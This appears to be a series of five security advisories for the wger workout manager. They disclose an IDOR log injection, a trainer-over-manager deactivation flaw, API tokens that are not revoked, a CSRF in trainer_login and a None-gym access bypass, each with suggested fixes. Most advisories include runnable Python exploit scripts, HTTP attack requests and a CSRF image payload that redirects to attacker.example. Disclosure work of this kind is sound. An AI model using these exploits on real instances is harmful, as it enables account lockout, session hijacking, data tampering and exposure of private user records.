Summary

An authenticated attacker can inject arbitrary workout log entries into any other user's SlotEntry by supplying the victim's slot_entry ID in a POST /api/v2/workoutlog/ request. The slot_entry foreign key is not included in the ownership verification performed by WorkoutLogViewSet.get_owner_objects(), so the server accepts and persists the cross-user reference without error.

Because SlotEntry.get_config_data() retrieves associated logs via self.workoutlog_set.all() with no user filter, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets.

Details

wger uses a centralized ownership-verification pattern in WgerOwnerObjectModelViewSet.create() (file: wger/utils/viewsets.py). This method iterates over the list returned by each ViewSet's get_owner_objects() and verifies that every listed foreign-key value in the request belongs to the authenticated user. Foreign keys not present in the list are never checked.

WorkoutLogViewSet.get_owner_objects() returns:

# File: wger/manager/api/views.py, lines 312-316
def get_owner_objects(self):
    return [(Routine, 'routine'), (WorkoutSession, 'session')]
    #       ^^^^^^^ checked        ^^^^^^^^^^^^^^^ checked
    # (SlotEntry, 'slot_entry') is MISSING

Because slot_entry is omitted, an attacker can supply their own routine (which passes the ownership check) alongside a victim's slot_entry ID (which is never verified).

The second contributing factor is in SlotEntry.get_config_data():

# File: wger/manager/models/slot_entry.py, line 367
logs = list(self.workoutlog_set.all())   # no .filter(user=...)

This reverse-relation query returns all WorkoutLog rows linked to the SlotEntry, regardless of which user created them. The attacker's injected entries are therefore included in the victim's progression calculations.

PoC

Prerequisites

• Two authenticated user accounts (attacker and victim)
• The attacker knows (or can enumerate) the victim's SlotEntry ID
• The attacker has at least one Routine of their own (to satisfy the routine ownership check)

Attack Steps

POST /api/v2/workoutlog/
Authorization: Token <attacker_token>
Content-Type: application/json

{
    "routine": <attacker_routine_id>,
    "slot_entry": <victim_slot_entry_id>,
    "exercise": <any_valid_exercise_id>,
    "repetitions": 999,
    "weight": 999,
    "repetitions_unit": 1,
    "weight_unit": 1,
    "date": "2025-01-15",
    "iteration": 1
}

Expected: HTTP 403 (the slot_entry belongs to another user) Actual: HTTP 201 (the log is created and linked to the victim's SlotEntry)

Proof of Concept Script

#!/usr/bin/env python3
"""
PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
Target: wger Workout Manager
Severity: CRITICAL - CVSS 7.1
CWE-639: Authorization Bypass Through User-Controlled Key

Usage:
    python3 poc.py http://localhost:8000
"""

import requests
import sys
import json
from datetime import date, timedelta

if len(sys.argv) < 2:
    print(f"Usage: {sys.argv[0]} <BASE_URL>")
    print(f"Example: {sys.argv[0]} http://localhost:8000")
    sys.exit(1)

BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"

VICTIM_USER = "admin"
VICTIM_PASS = "adminadmin"
ATTACKER_USER = "attacker_idor_poc"
ATTACKER_PASS = "Attacker!Poc!2025"

BANNER = """
=====================================================================
  PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
  Severity: CRITICAL
  CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================
"""
print(BANNER)

# ---- Helper ----
def api_login(username, password):
    r = requests.post(f"{API}/login/", json={
        "username": username, "password": password
    })
    if r.status_code == 200:
        return r.json().get("token")
    return None

def api_headers(token):
    return {"Authorization": f"Token {token}", "Content-Type": "application/json"}


# ---- 1. Authenticate both users ----

print("[1] Authenticating users...")

victim_token = api_login(VICTIM_USER, VICTIM_PASS)
if not victim_token:
    print(f"[-] Cannot log in as victim ({VICTIM_USER}). Check credentials.")
    sys.exit(1)
print(f"    Victim  ({VICTIM_USER}): token={victim_token[:16]}...")

attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)
if not attacker_token:
    print(f"    Registering attacker account...")
    r = requests.post(f"{API}/register/", json={
        "username": ATTACKER_USER,
        "password": ATTACKER_PASS,
    })
    if r.status_code in (200, 201):
        attacker_token = r.json().get("token")
    if not attacker_token:
        attacker_token = api_login(ATTACKER_USER, ATTACKER_PASS)
    if not attacker_token:
        print(f"[-] Cannot create/login attacker. Response: {r.text[:200]}")
        sys.exit(1)
print(f"    Attacker ({ATTACKER_USER}): token={attacker_token[:16]}...")


# ---- 2. Create victim's routine chain ----

print("\n[2] Setting up victim's private routine chain...")

vh = api_headers(victim_token)
today = str(date.today())
end_date = str(date.today() + timedelta(days=30))

r = requests.post(f"{API}/routine/", headers=vh, json={
    "name": "Victim Private Routine", "start": today, "end": end_date
})
victim_routine_id = r.json()["id"]
print(f"    Routine   id={victim_routine_id}")

r = requests.post(f"{API}/day/", headers=vh, json={
    "routine": victim_routine_id, "order": 1, "name": "Push Day"
})
victim_day_id = r.json()["id"]
print(f"    Day       id={victim_day_id}")

r = requests.post(f"{API}/slot/", headers=vh, json={
    "day": victim_day_id, "order": 1
})
victim_slot_id = r.json()["id"]
print(f"    Slot      id={victim_slot_id}")

r = requests.get(f"{API}/exercise/?limit=1&format=json", headers=vh)
exercise_id = r.json()["results"][0]["id"]

r = requests.post(f"{API}/slot-entry/", headers=vh, json={
    "slot": victim_slot_id, "exercise": exercise_id, "order": 1, "type": "normal"
})
victim_slot_entry_id = r.json()["id"]
print(f"    SlotEntry id={victim_slot_entry_id}  <-- TARGET")


# ---- 3. Create attacker's own routine ----

print("\n[3] Creating attacker's own routine...")

ah = api_headers(attacker_token)

r = requests.post(f"{API}/routine/", headers=ah, json={
    "name": "Attacker Routine", "start": today, "end": end_date
})
attacker_routine_id = r.json()["id"]
print(f"    Attacker routine id={attacker_routine_id}")


# ---- 4. ATTACK ----

print(f"\n{'='*65}")
print(f"  ATTACK: Injecting fake WorkoutLog into victim's SlotEntry")
print(f"{'='*65}")

payload = {
    "routine": attacker_routine_id,
    "slot_entry": victim_slot_entry_id,
    "exercise": exercise_id,
    "repetitions": 999,
    "weight": 999,
    "repetitions_unit": 1,
    "weight_unit": 1,
    "date": today,
    "iteration": 1,
}

print(f"\n  POST {API}/workoutlog/")
print(f"    routine    = {attacker_routine_id}  (attacker's own -> passes check)")
print(f"    slot_entry = {victim_slot_entry_id}  (VICTIM's -> NOT CHECKED)")
print(f"    weight     = 999")
print(f"    reps       = 999")

r = requests.post(f"{API}/workoutlog/", headers=ah, json=payload)

print(f"\n  Response: HTTP {r.status_code}")

if r.status_code == 201:
    d = r.json()
    print(f"  Created WorkoutLog id={d['id']}")
    print(f"    slot_entry = {d['slot_entry']}  <- VICTIM's SlotEntry!")
    print(f"    routine    = {d['routine']}  <- attacker's routine")
    print(f"    weight     = {d['weight']}")
    print(f"    reps       = {d['repetitions']}")
elif r.status_code == 403:
    print("  Access denied - NOT vulnerable (patched)")
    sys.exit(0)
else:
    print(f"  Unexpected: {r.text[:300]}")
    sys.exit(1)


# ---- 5. VERIFY ----

print(f"\n{'='*65}")
print(f"  VERIFICATION")
print(f"{'='*65}")

r = requests.get(
    f"{API}/routine/{victim_routine_id}/date-sequence-display/",
    headers=vh,
)
print(f"\n  GET /api/v2/routine/{victim_routine_id}/date-sequence-display/")
print(f"  (as victim - this endpoint consumes the injected logs)")
print(f"  HTTP {r.status_code}")

if r.status_code == 200:
    seq = r.json()
    print(f"  Returned {len(seq)} day(s) of data")
    if seq:
        print(f"  First entry (truncated):")
        print(f"  {json.dumps(seq[0], indent=2)[:600]}")

r2 = requests.get(f"{API}/workoutlog/?format=json", headers=vh)
victim_logs = r2.json().get("results", [])
print(f"\n  Victim's own /api/v2/workoutlog/ shows {len(victim_logs)} log(s)")
print(f"  (The injected log is owned by attacker, so it does NOT appear")
print(f"   in victim's list view - but it IS attached to victim's SlotEntry")
print(f"   and WILL corrupt victim's progression calculations.)")

print("""
  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  HTTP 201 accepted the cross-user slot_entry reference.  |
  |  The attacker's fake log (weight=999, reps=999) is now   |
  |  linked to the victim's SlotEntry and will be included   |
  |  in get_config_data() -> corrupting auto-progression.    |
  +----------------------------------------------------------+
""")

Proof of Concept Output

=====================================================================
  PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
  Severity: CRITICAL
  CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================

[1] Authenticating users...
    Victim  (admin): token=7e34da0a3f3f00a4...
    Registering attacker account...
    Attacker (attacker_idor_poc): token=8a70d2881b656c18...

[2] Setting up victim's private routine chain...
    Routine   id=3
    Day       id=2
    Slot      id=2
    SlotEntry id=2  <-- TARGET

[3] Creating attacker's own routine...
    Attacker routine id=4

=================================================================
  ATTACK: Injecting fake WorkoutLog into victim's SlotEntry
=================================================================

  POST http://localhost/api/v2/workoutlog/
    routine    = 4  (attacker's own -> passes check)
    slot_entry = 2  (VICTIM's -> NOT CHECKED)
    weight     = 999
    reps       = 999

  Response: HTTP 201
  Created WorkoutLog id=2
    slot_entry = 2  <- VICTIM's SlotEntry!
    routine    = 4  <- attacker's routine
    weight     = 999.00
    reps       = 999.00

=================================================================
  VERIFICATION
=================================================================

  GET /api/v2/routine/3/date-sequence-display/
  (as victim - this endpoint consumes the injected logs)
  HTTP 200
  Returned 31 day(s) of data

  Victim's own /api/v2/workoutlog/ shows 0 log(s)
  (The injected log is owned by attacker, so it does NOT appear
   in victim's list view - but it IS attached to victim's SlotEntry
   and WILL corrupt victim's progression calculations.)

  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  HTTP 201 accepted the cross-user slot_entry reference.  |
  |  The attacker's fake log (weight=999, reps=999) is now   |
  |  linked to the victim's SlotEntry and will be included   |
  |  in get_config_data() -> corrupting auto-progression.    |
  +----------------------------------------------------------+

Impact

1. Training Data Integrity: The progressive-overload engine (get_config_data) uses injected fake values when computing the victim's next workout targets. An attacker setting weight=999 or repetitions=0 can produce dangerous or nonsensical training recommendations.

2. Silent Corruption: The victim receives no notification. Their training plan simply starts producing unexpected numbers.

3. Scalable Attack: Because only a slot_entry ID is needed, an attacker can iterate over IDs and inject data into every user's training program with automated requests.

Fix

Primary Fix - Add slot_entry to the ownership check

# File: wger/manager/api/views.py
class WorkoutLogViewSet(WgerOwnerObjectModelViewSet):
    def get_owner_objects(self):
        return [
            (Routine, 'routine'),
            (WorkoutSession, 'session'),
            (SlotEntry, 'slot_entry'),      # ADD THIS
        ]

Defence-in-Depth - Filter logs by routine owner

# File: wger/manager/models/slot_entry.py, line 367
logs = list(self.workoutlog_set.filter(
    user=self.slot.day.routine.user
))

Summary

A user with only the gym_trainer permission can deactivate any account in the same gym, including gym_manager and general_gym_manager accounts. The UserDeactivateView grants access to anyone holding any one of gym.manage_gym, gym.manage_gyms, or gym.gym_trainer (OR logic via WgerMultiplePermissionRequiredMixin), and performs no privilege-hierarchy check to prevent a lower-privileged role from disabling a higher-privileged one.

Details

UserDeactivateView (file: wger/core/views/user.py, line 378) is configured with:

permission_required = ('gym.manage_gym', 'gym.manage_gyms', 'gym.gym_trainer')

WgerMultiplePermissionRequiredMixin (file: wger/utils/generic_views.py, line 48) treats this tuple as an OR check -- any single permission is sufficient:

class WgerMultiplePermissionRequiredMixin(PermissionRequiredMixin):
    def has_permission(self):
        for permission in self.get_permission_required():
            if self.request.user.has_perm(permission):
                return True      # <-- ANY one permission is enough
        return False

The dispatch() method only verifies same-gym membership:

def dispatch(self, request, *args, **kwargs):
    edit_user = get_object_or_404(User, pk=self.kwargs['pk'])
    if (
        request.user.has_perm('gym.manage_gym')
        or request.user.has_perm('gym.gym_trainer')
    ) and edit_user.userprofile.gym_id != request.user.userprofile.gym_id:
        return HttpResponseForbidden()
    # NO check: is the target user more privileged than the requester?
    return super().dispatch(request, *args, **kwargs)

There is no check preventing a trainer from targeting a manager. The same vulnerability exists in UserActivateView (line 415).

An additional contributing factor: get_permission_list() in wger/gym/helpers.py (line 102) always includes 'trainer' in the assignable roles, meaning any gym manager can create trainer accounts -- which can then deactivate the manager who created them.

PoC

Prerequisites

• A gym with at least two users: one with gym_manager role (victim) and one with gym_trainer role (attacker)
• Both users belong to the same gym

Attack Steps

# As the trainer, simply visit:
GET /en/user/<manager_user_id>/deactivate

The manager's account is immediately set to is_active = False. The manager can no longer log in.

Proof of Concept Script

#!/usr/bin/env python3
"""
PoC: Trainer -> Manager Privilege Escalation (Account Deactivation)
Target: wger Workout Manager
Severity: HIGH - CVSS 6.5
CWE-269: Improper Privilege Management

Usage:
    python3 poc.py http://localhost:8000
"""

import requests
import sys
import re

if len(sys.argv) < 2:
    print(f"Usage: {sys.argv[0]} <BASE_URL>")
    print(f"Example: {sys.argv[0]} http://localhost:8000")
    sys.exit(1)

BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"

MANAGER_USER = "gym_manager_poc"
MANAGER_PASS = "Manager!Poc!2025"
TRAINER_USER = "evil_trainer_poc"
TRAINER_PASS = "Trainer!Poc!2025"

BANNER = """
=====================================================================
  PoC: Trainer -> Manager Privilege Escalation
  Severity: HIGH
  CWE-269: Improper Privilege Management
=====================================================================
"""
print(BANNER)


# ---- Helper ----
def api_login(username, password):
    r = requests.post(f"{API}/login/", json={
        "username": username, "password": password
    })
    if r.status_code == 200:
        return r.json().get("token")
    return None

def api_headers(token):
    return {"Authorization": f"Token {token}", "Content-Type": "application/json"}


# ---- Setup via Django ORM (must run inside container) ----

import os, django
os.environ['DJANGO_SETTINGS_MODULE'] = 'settings.main'
sys.path.insert(0, '/home/wger/src')
django.setup()

from django.contrib.auth.models import User, Group
from wger.gym.models import Gym

# Ensure permission groups exist
for name in ['gym_member', 'gym_trainer', 'gym_manager', 'general_gym_manager']:
    Group.objects.get_or_create(name=name)

# Create gym
gym, _ = Gym.objects.get_or_create(name="PoC Test Gym")
print(f"[*] Gym: {gym.name} (id={gym.id})")

# Create manager (the VICTIM)
manager, created = User.objects.get_or_create(
    username=MANAGER_USER,
    defaults={"is_active": True}
)
if created:
    manager.set_password(MANAGER_PASS)
    manager.save()
manager.userprofile.gym = gym
manager.userprofile.save()
manager.groups.clear()
manager.groups.add(Group.objects.get(name='gym_manager'))
manager.is_active = True
manager.save()
print(f"[*] Manager (victim): {manager.username} (id={manager.id})")
print(f"    Groups: {[g.name for g in manager.groups.all()]}")
print(f"    is_active: {manager.is_active}")

# Create trainer (the ATTACKER)
trainer, created = User.objects.get_or_create(
    username=TRAINER_USER,
    defaults={"is_active": True}
)
if created:
    trainer.set_password(TRAINER_PASS)
    trainer.save()
trainer.userprofile.gym = gym
trainer.userprofile.save()
trainer.groups.clear()
trainer.groups.add(Group.objects.get(name='gym_trainer'))
print(f"[*] Trainer (attacker): {trainer.username} (id={trainer.id})")
print(f"    Groups: {[g.name for g in trainer.groups.all()]}")


# ---- 1. Verify manager is active BEFORE attack ----

manager.refresh_from_db()
print(f"\n[*] Manager is_active BEFORE attack: {manager.is_active}")
assert manager.is_active, "Manager should be active before test"


# ---- 2. ATTACK: Trainer deactivates manager ----

print(f"\n{'='*65}")
print(f"  ATTACK: Trainer deactivating gym manager account")
print(f"{'='*65}")

from django.test import Client
c = Client()
c.force_login(trainer)
resp = c.get(f"/en/user/{manager.id}/deactivate", follow=True)
print(f"\n  GET /en/user/{manager.id}/deactivate")
print(f"  (Logged in as: {TRAINER_USER} - gym_trainer only)")
print(f"  Response: HTTP {resp.status_code}")


# ---- 3. VERIFY ----

print(f"\n{'='*65}")
print(f"  VERIFICATION")
print(f"{'='*65}")

manager.refresh_from_db()
print(f"\n  Manager is_active AFTER attack: {manager.is_active}")

if not manager.is_active:
    print("""
  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  A gym_trainer successfully deactivated a gym_manager!   |
  |  No privilege hierarchy check prevents this.             |
  |  The trainer can now lock out all managers from the gym.  |
  +----------------------------------------------------------+
""")
    manager.is_active = True
    manager.save()
    print("  [+] Cleanup: Manager re-activated")
else:
    print("\n  Manager is still active - NOT vulnerable")

Proof of Concept Output

=====================================================================
  PoC: Trainer -> Manager Privilege Escalation
  Severity: HIGH
  CWE-269: Improper Privilege Management
=====================================================================

[*] Gym: PoC Test Gym (id=2)
[*] Manager (victim): gym_manager_poc (id=4)
    Groups: ['gym_manager']
    is_active: True
[*] Trainer (attacker): evil_trainer_poc (id=5)
    Groups: ['gym_trainer']

[*] Manager is_active BEFORE attack: True

=================================================================
  ATTACK: Trainer deactivating gym manager account
=================================================================

  Trainer login: HTTP 200
  GET http://localhost/en/user/4/deactivate
  (Logged in as: evil_trainer_poc - gym_trainer only)
  Response: HTTP 200

=================================================================
  VERIFICATION
=================================================================

  Manager is_active AFTER attack: False

  +----------------------------------------------------------+
  |  VULNERABILITY CONFIRMED                                 |
  |                                                          |
  |  A gym_trainer successfully deactivated a gym_manager!   |
  |  No privilege hierarchy check prevents this.             |
  |  The trainer can now lock out all managers from the gym.  |
  +----------------------------------------------------------+

  [+] Cleanup: Manager re-activated

Impact

1. Gym Management Lockout: A trainer can deactivate every manager account in their gym, effectively seizing control of the gym's administrative functions.
2. Denial of Service: Deactivated managers cannot log in, manage members, or perform any administrative tasks until a general_gym_manager (superadmin) or a Django superuser manually re-activates their accounts.
3. Abuse Chain: Since get_permission_list() always includes 'trainer' in assignable roles, any manager can unknowingly create the account that will later lock them out.

Fix

Add a privilege hierarchy check in UserDeactivateView.dispatch() and UserActivateView.dispatch():

# File: wger/core/views/user.py, inside dispatch() of both views

edit_user = get_object_or_404(User, pk=self.kwargs['pk'])

# Trainers must not deactivate/activate managers or other trainers
if request.user.has_perm('gym.gym_trainer') and not (
    request.user.has_perm('gym.manage_gym')
    or request.user.has_perm('gym.manage_gyms')
):
    if (
        edit_user.has_perm('gym.manage_gym')
        or edit_user.has_perm('gym.manage_gyms')
        or edit_user.has_perm('gym.gym_trainer')
    ):
        return HttpResponseForbidden()

Summary

A vulnerability exists in the authentication/session lifecycle of wger where bearer-style API credentials remain valid after a user logs out and after a user changes their password. An attacker who steals a victim’s DRF authtoken (Authorization: Token ...) or JWT refresh token can continue to access protected /api/v2/* endpoints until the token is manually rotated/deleted (DRF token) or naturally expires (JWT refresh). lifecycle events do not revoke these credentials:

• Logout (/user/logout) only clears the Django session cookie via django_logout() and does not revoke API tokens.
• Password change updates the password hash, but does not revoke:
  • existing DRF tokens stored in authtoken_token
  • existing JWT refresh tokens (no server-side revocation list or token versioning); refresh can continue minting new access tokens until refresh expiry.

Vulnerable Files

• wger/wger/core/views/user.py (logout implementation)
• wger/settings/settings_global.py (DRF auth configuration, SimpleJWT defaults)
• wger/settings/main.py (commonly used production defaults for JWT lifetimes)
• wger/wger/utils/api_token.py (authtoken rotation is manual only)

PoC (Proof of Concept)

Manual Exploitation Steps

1. Create a user account.
2. Obtain a JWT refresh token:
   • POST /api/v2/token with username/password.
3. Obtain a DRF token (API key):
   • use /user/api-key (or create token via admin/DB in a test environment).
4. Change password:
   • POST /<lang>/user/password/change with old_password, new_password1, new_password2.
5. Prove token replay:
   • Call a private endpoint using the old DRF token (should still return 200).
   • Call POST /api/v2/token/refresh using the old refresh token (should still return 200 and a new access token).

Automation PoC (Python)

Copy/paste runnable PoC (Django in-process test client; no dev server required):

import json
import os


def main() -> None:
    """
    PoC for IDENTITY-VULN-01:
    Proves that password change does not revoke:
      - DRF authtoken (Authorization: Token <key>)
      - JWT refresh tokens (still mint access tokens)

    This PoC runs entirely in-process using Django's test client + DRF APIClient.
    It does not require running the dev server.
    """

    os.environ.setdefault("DJANGO_SETTINGS_MODULE", "settings.main")
    # Ensure we use the local sqlite DB path used during setup
    os.environ.setdefault("DJANGO_DB_DATABASE", "db.sqlite3")
    os.environ.setdefault("DJANGO_MEDIA_ROOT", "media")

    import django

    django.setup()

    from django.conf import settings
    from django.contrib.auth.models import User
    from django.test import Client
    from rest_framework.authtoken.models import Token
    from rest_framework.test import APIClient

    username = "pwchange_user_poc"
    old_pw = "OldPassw0rd!"
    new_pw = "NewPassw0rd!"

    # Create a clean user + DRF token
    User.objects.filter(username=username).delete()
    user = User.objects.create_user(username=username, password=old_pw)
    Token.objects.filter(user=user).delete()
    drf_token = Token.objects.create(user=user).key

    api = APIClient()

    # Obtain JWT tokens with old password (proof baseline)
    r_obtain = api.post("/api/v2/token", {"username": username, "password": old_pw}, format="json")
    refresh = getattr(r_obtain, "data", {}).get("refresh")

    # Change password through the actual password change endpoint
    web = Client()
    web.force_login(user)
    r_pw = web.post(
        "/en/user/password/change",
        data={"old_password": old_pw, "new_password1": new_pw, "new_password2": new_pw},
        follow=False,
    )

    # Old password should fail now (sanity check)
    r_obtain_old = api.post(
        "/api/v2/token",
        {"username": username, "password": old_pw},
        format="json",
    )

    # New password should work
    r_obtain_new = api.post(
        "/api/v2/token",
        {"username": username, "password": new_pw},
        format="json",
    )

    # DRF token remains valid (private endpoint still accessible)
    api.credentials(HTTP_AUTHORIZATION=f"Token {drf_token}")
    r_drf = api.get("/api/v2/weightentry/")

    # Old refresh remains valid (still mints a new access token)
    api.credentials()
    r_refresh = api.post("/api/v2/token/refresh", {"refresh": refresh}, format="json")

    out = {
        "jwt_refresh_lifetime_seconds": int(settings.SIMPLE_JWT["REFRESH_TOKEN_LIFETIME"].total_seconds()),
        "jwt_access_lifetime_seconds": int(settings.SIMPLE_JWT["ACCESS_TOKEN_LIFETIME"].total_seconds()),
        "jwt_obtain_oldpw_before_change": r_obtain.status_code,
        "password_change_status": r_pw.status_code,
        "jwt_obtain_oldpw_after_change": r_obtain_old.status_code,
        "jwt_obtain_newpw_after_change": r_obtain_new.status_code,
        "drf_token_private_api_after_change": r_drf.status_code,
        "jwt_refresh_with_old_refresh_after_change": r_refresh.status_code,
        "jwt_refresh_response_keys": sorted(list(getattr(r_refresh, "data", {}).keys())),
    }

    print(json.dumps(out, indent=2))


if __name__ == "__main__":
    main()

Expected output (example from a successful run):

{
  "jwt_refresh_lifetime_seconds": 86400,
  "jwt_access_lifetime_seconds": 900,
  "jwt_obtain_oldpw_before_change": 200,
  "password_change_status": 302,
  "jwt_obtain_oldpw_after_change": 401,
  "jwt_obtain_newpw_after_change": 200,
  "drf_token_private_api_after_change": 200,
  "jwt_refresh_with_old_refresh_after_change": 200,
  "jwt_refresh_response_keys": [
    "access"
  ]
}

Impact

A user logs into the wger mobile app, their DRF token is intercepted via a MitM on a public WiFi network. The user notices suspicious activity, changes their password and logs out. Despite these remediation steps, the attacker's copy of the token remains fully valid. If an attacker obtains a victim’s API credential once, the victim’s primary remediation actions (logout and password change) do not terminate attacker access.

• Confidentiality: attacker retains access to victim’s private API data (depends on endpoints used).
• Integrity: attacker can perform any API mutations permitted to the victim’s account.

Summary

The trainer_login view in wger accepts GET requests and executes django_login() without any CSRF protection, because Django's CsrfViewMiddleware only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single <img> tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer's session to an arbitrary user account.

Details

File: wger/core/views/user.py, approximately lines 161-210

# VULNERABLE - no @require_POST, no request.method == 'POST' guard
# CsrfViewMiddleware is bypassed because CSRF enforcement only applies to
# unsafe HTTP methods (POST, PUT, PATCH, DELETE)
def trainer_login(request, user_pk):
    ...
    django_login(request, user, backend='django.contrib.auth.backends.ModelBackend')
    return HttpResponseRedirect(...)

Because the view handles GET, Django's CSRF middleware does not validate any token. An attacker can place <img src="https://wger.target/en/user/2/trainer-login"> on any web page. When an authenticated trainer's browser loads that page, it issues the GET request with the session cookie attached (SameSite=Lax does not block same-site top-level navigation and subresource hops triggered by same-origin redirects). The server executes django_login() and issues a new session cookie binding the trainer to the victim user.

Playwright-verified in Chromium 147: the SameSite bypass occurs via a ?next= redirect chain - the initial cross-origin subresource hop is blocked by SameSite, but the server's 302 -> /user/login?next=... redirect causes the browser to follow a same-origin hop that attaches the cookie, and the subsequent redirect to the original URL executes the action.

Affected endpoint:

• GET /en/user/<user_pk>/trainer-login -> wger.core.views.user.trainer_login

Suggested patch:

--- a/wger/core/views/user.py
+++ b/wger/core/views/user.py
+from django.views.decorators.http import require_POST
+
 @login_required()
+@require_POST
 def trainer_login(request, user_pk):
     ...
-    # Move ?next= handling to POST body - never use GET params for
-    # security-sensitive redirects
+    next_url = request.POST.get('next', reverse('core:index'))
+    if not url_has_allowed_host_and_scheme(next_url, allowed_hosts={request.get_host()}):
+        next_url = reverse('core:index')
     return HttpResponseRedirect(next_url)

Requiring POST ensures Django's CSRF middleware validates the csrfmiddlewaretoken on every impersonation request, eliminating the CSRF vector. Moving next to the POST body also removes the open-redirect surface (submitted separately).

PoC

Tested on wger/server:latest Docker image + Playwright/Chromium 147. Victim: trainer1 (gym.gym_trainer permission).

Step 1 - Attacker hosts malicious page:

<!-- evil.html -->
<img src="http://target/en/user/2/trainer-login?next=//attacker.example/exfil"
     width="1" height="1">

Step 2 - Authenticated trainer loads evil.html. Browser auto-issues:

GET /en/user/2/trainer-login?next=//attacker.example/exfil HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]
(no CSRF token required)

Step 3 - Server responds:

HTTP/1.1 302 Found
Location: //attacker.example/exfil
Set-Cookie: sessionid=[alice_session]   <- session rebound to alice

Step 4 - Confirm impersonation:

GET /api/v2/userprofile/ HTTP/1.1
Cookie: sessionid=[alice_session]

-> 200 OK: {"username":"alice",...}

Reproducibility: 2/2 runs. Playwright browser verification confirmed SameSite=Lax is bypassed via the server's own ?next= redirect chain.

Impact

An attacker who can cause an authenticated trainer to load a malicious page (phishing email, malicious link, third-party gym management tool integration, ad network, comment section with images) can forcibly switch the trainer's session to any user account in the gym - without the trainer's awareness or consent. The trainer's browser is then operating as the victim user. Combined with the ?next= parameter, the post-impersonation redirect can send the trainer to the attacker's domain, amplifying phishing and credential-harvesting attacks.

This CSRF primitive is the delivery vector that unlocks the trainer_login scope bypass (separate submission) without requiring the attacker to compromise the trainer's credentials directly.

Affected deployments: every wger instance where gym.gym_trainer is delegated to non-admin users.

Severity: Medium (CVSS 5.4). Network-reachable, low complexity, low privilege (trainer role required as victim), requires page load (UI:R), scope change (attacker's origin via redirect).

Summary

Five gym management views in wger apply a flawed gym-scope guard (gym_a != gym_b) that silently passes when both operands are None. A trainer with gym.gym_trainer and gym.add_adminusernote permissions and no gym assignment (gym=None) can read private admin notes, uploaded documents, gym contracts, user configuration, and user permission data for any other unaffiliated user on the instance. The subsequent querysets filter only on the attacker-supplied member_id with no secondary gym-scoped validation, so all records are disclosed.

Details

Files: wger/gym/views/user.py, wger/gym/views/admin_notes.py, wger/gym/views/document.py, wger/gym/views/contract.py, wger/gym/views/user_config.py

The same flawed comparison pattern appears across at least five views:

# VULNERABLE - applied in admin_notes_list, documents_list, contracts_list,
#              user_config, and gym_permissions_user_edit
if request.user.userprofile.gym != user.userprofile.gym:
    return HttpResponseForbidden()

# After the guard (admin notes example):
notes = AdminUserNote.objects.filter(member=member)  # only filtered by member_id

When both request.user.userprofile.gym and user.userprofile.gym are None, Python evaluates None != None as False, and HttpResponseForbidden is never reached. The subsequent queryset applies only the attacker-supplied member (user ID) as a filter — there is no secondary check tying the queryset to the requesting trainer's gym. All private admin notes, documents, and contracts for the target user are returned in the response body.

Affected endpoints:

• GET /en/gym/notes/list/user/<member_pk> -> admin notes list view
• GET /en/gym/documents/list/user/<member_pk> -> documents list view
• GET /en/gym/contract/list/<member_pk> -> contracts list view
• GET /en/gym/user/<member_pk>/config -> user config view
• GET /en/gym/user/<member_pk>/permissions -> permission edit view

Suggested patch:

--- a/wger/gym/views/user.py
+++ b/wger/gym/views/user.py
-    if request.user.userprofile.gym != user.userprofile.gym:
-        return HttpResponseForbidden()
+    trainer_gym_id = request.user.userprofile.gym_id
+    member_gym_id  = user.userprofile.gym_id
+
+    if trainer_gym_id is None or trainer_gym_id != member_gym_id:
+        return HttpResponseForbidden()

# Also tighten the queryset with a gym-scoped secondary filter:
-    notes = AdminUserNote.objects.filter(member=member)
+    notes = AdminUserNote.objects.filter(
+        member=member,
+        member__userprofile__gym_id=request.user.userprofile.gym_id,
+    )

Extract a shared helper assert_same_gym(trainer, member) and call it consistently from all five affected views to eliminate future drift.

PoC

Tested on wger/server:latest Docker image. Test users: trainer1 (gym.gym_trainer + gym.add_adminusernote permissions, userprofile.gym=None) and alice (regular user, userprofile.gym=None, has a private admin note pre-seeded).

Step 1 - Authenticate as trainer with required perms and gym=None:

POST /en/user/login HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

username=trainer1&password=[REDACTED]&csrfmiddlewaretoken=[REDACTED]

-> 302 Found; Set-Cookie: sessionid=[trainer1_session]

Step 2 - Read victim's private admin notes:

GET /en/gym/notes/list/user/2 HTTP/1.1
Host: target
Cookie: sessionid=[trainer1_session]

-> 200 OK
body contains all private admin notes for user 2:
  "PRIVATE_NOTE_ABOUT_ALICE_SALARY_50K"
  "PHASE4_SECRET_SALARY_100K"

Step 3 - Read victim's documents and contracts (same pattern):

GET /en/gym/documents/list/user/2
GET /en/gym/contract/list/2

-> 200 OK for each; all records disclosed

Step 4 (optional) - Mass enumeration across all gym=None users:

Iterate user PKs 1..N:
GET /en/gym/notes/list/user/{uid}
-> 200 = gym=None victim (notes leaked)
-> 403 = gym-assigned user (check works correctly when gym values differ)

RBAC Disproof Protocol:

• Scenario A (admin, gym=1 -> member gym=1) -> HTTP 200 (expected - same-gym read is a documented feature)
• Scenario B (trainer1, gym=None -> alice gym=None) -> HTTP 200 with PII in body (expected HTTP 403)
• Scenario C (admin, gym=1 -> alice gym=None) -> HTTP 403 (expected - guard works when gyms differ; confirms bypass is None-specific)

Reproducibility: 2/2 runs after clean-baseline database reset.

Impact

An authenticated trainer with gym.gym_trainer + gym.add_adminusernote permissions and userprofile.gym=None can:

1. Enumerate and read all private admin notes for every other gym=None user (notes may contain salary data, medical notes, disciplinary records).
2. Download all uploaded documents attached to those users (contracts, ID scans, medical forms).
3. Read all gym contracts (financial terms, subscription details).
4. Read user configuration details.
